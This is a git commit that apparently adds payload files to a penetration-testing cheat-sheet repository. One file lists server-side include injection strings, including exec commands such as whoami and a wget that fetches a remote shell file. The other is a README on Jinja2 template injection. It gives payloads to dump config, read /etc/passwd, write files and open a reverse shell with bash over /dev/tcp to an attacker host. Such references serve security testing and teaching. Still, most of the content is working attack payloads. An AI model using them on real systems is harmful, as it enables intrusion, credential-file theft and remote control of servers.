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SSTI + XSS Flash

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Swissky
2017-07-16 16:30:08 +02:00
parent 77e2fc8226
commit 064467ecfc
3 changed files with 21 additions and 7 deletions
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75
Server Side Template injections/JHADDIX_SSI_Injection.txt Normal file
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<pre><!--#exec cmd="ls" --></pre>
<pre><!--#echo var="DATE_LOCAL" --> </pre>
<pre><!--#exec cmd="whoami"--></pre>
<pre><!--#exec cmd="dir" --></pre>
<!--#exec cmd="ls" -->
<!--#exec cmd="wget http://website.com/dir/shell.txt" -->
<!--#exec cmd="/bin/ls /" -->
<!--#exec cmd="dir" -->
<!--#exec cmd="cd C:\WINDOWS\System32">
<!--#config errmsg="File not found, informs users and password"-->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#config timefmt="A %B %d %Y %r"-->
<!--#fsize file="ssi.shtml" -->
<!--#include file=?UUUUUUUU...UU?-->
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="whoami"-->
<!--#printenv -->
<!--#flastmod virtual="echo.html" -->
<!--#echo var="auth_type" -->
<!--#echo var="http_referer" -->
<!--#echo var="content_length" -->
<!--#echo var="content_type" -->
<!--#echo var="http_accept_encoding" -->
<!--#echo var="forwarded" -->
<!--#echo var="document_uri" -->
<!--#echo var="date_gmt" -->
<!--#echo var="date_local" -->
<!--#echo var="document_name" -->
<!--#echo var="document_root" -->
<!--#echo var="from" -->
<!--#echo var="gateway_interface" -->
<!--#echo var="http_accept" -->
<!--#echo var="http_accept_charset" -->
<!--#echo var="http_accept_language" -->
<!--#echo var="http_connection" -->
<!--#echo var="http_cookie" -->
<!--#echo var="http_form" -->
<!--#echo var="http_host" -->
<!--#echo var="user_name" -->
<!--#echo var="unique_id" -->
<!--#echo var="tz" -->
<!--#echo var="total_hits" -->
<!--#echo var="server_software" -->
<!--#echo var="server_protocol" -->
<!--#echo var="server_port" -->
<!--#echo var="server_name -->
<!--#echo var="server_addr" -->
<!--#echo var="server_admin" -->
<!--#echo var="script_url" -->
<!--#echo var="script_uri" -->
<!--#echo var="script_name" -->
<!--#echo var="script_filename" -->
<!--#echo var="netsite_root" -->
<!--#echo var="site_htmlroot" -->
<!--#echo var="path_translated" -->
<!--#echo var="path_info_translated" -->
<!--#echo var="request_uri" -->
<!--#echo var="request_method" -->
<!--#echo var="remote_user" -->
<!--#echo var="remote_addr" -->
<!--#echo var="http_client_ip" -->
<!--#echo var="remote_port" -->
<!--#echo var="remote_ident" -->
<!--#echo var="remote_host" -->
<!--#echo var="query_string_unescaped" -->
<!--#echo var="query_string" -->
<!--#echo var="path_translated" -->
<!--#echo var="path_info" -->
<!--#echo var="path" -->
<!--#echo var="page_count" -->
<!--#echo var="last_modified" -->
<!--#echo var="http_user_agent" -->
<!--#echo var="http_ua_os" -->
<!--#echo var="http_ua_cpu" -->

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Server Side Template injections/README.md Normal file
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# Templates Injections
Template injection allows an attacker to include template code into an existant (or not) template.
## Jinja2
[Official website](http://jinja.pocoo.org/)
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
Basic injection
```
{{4*4}}[[5*5]]
```
Jinja2 is used by Python Web Frameworks such as Django or Flask.
The above injections have been tested on Flask application.
#### Template format
```
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
```
#### Dump all used classes
```
{{ ''.__class__.__mro__[2].__subclasses__() }}
```
#### Dump all config variables
```python
{% for key, value in config.iteritems() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
```
#### Read remote file
```
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
```
#### Write into remote file
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
#### Remote Code Execution via reverse shell
Listen for connexion
```
nv -lnvp 8000
```
Inject this template
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host
```
#### Ressources & Sources
[https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
#### Training
[https://w3challs.com/](https://w3challs.com/)